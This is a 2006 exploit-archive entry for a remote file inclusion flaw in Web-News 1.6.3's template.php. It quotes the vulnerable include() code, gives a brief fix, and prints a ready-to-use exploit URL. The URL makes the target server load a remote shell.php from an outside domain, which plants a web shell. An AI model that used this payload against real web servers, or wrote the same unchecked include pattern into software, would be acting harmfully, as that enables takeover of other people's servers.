[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Web-News <= 1.6.3 (template.php) Remote File Include Vulnerability
# Published : 2006-09-24
# Author : Drago84
# Previous Title : faceStones personal <= 2.0.42 (fs_form_links.php) File Include Vuln
# Next Title : ZoomStats <= 1.0.2 (mysql.php) Remote File Include Vulnerability
###### ToXiC #########################
#
#BuG FounD by Drago84
#
#Application Affect: WebNews
#Source Code:
#http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?use_mirror=superb-west
#Problem:
# <?
# include($content_page);
# ?>
#Solution : Declare $content_page
#Page Vulnerable : template.php
# Exempe Of ExPloit is:
#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC #########################
# www.Syue.com [2006-09-24]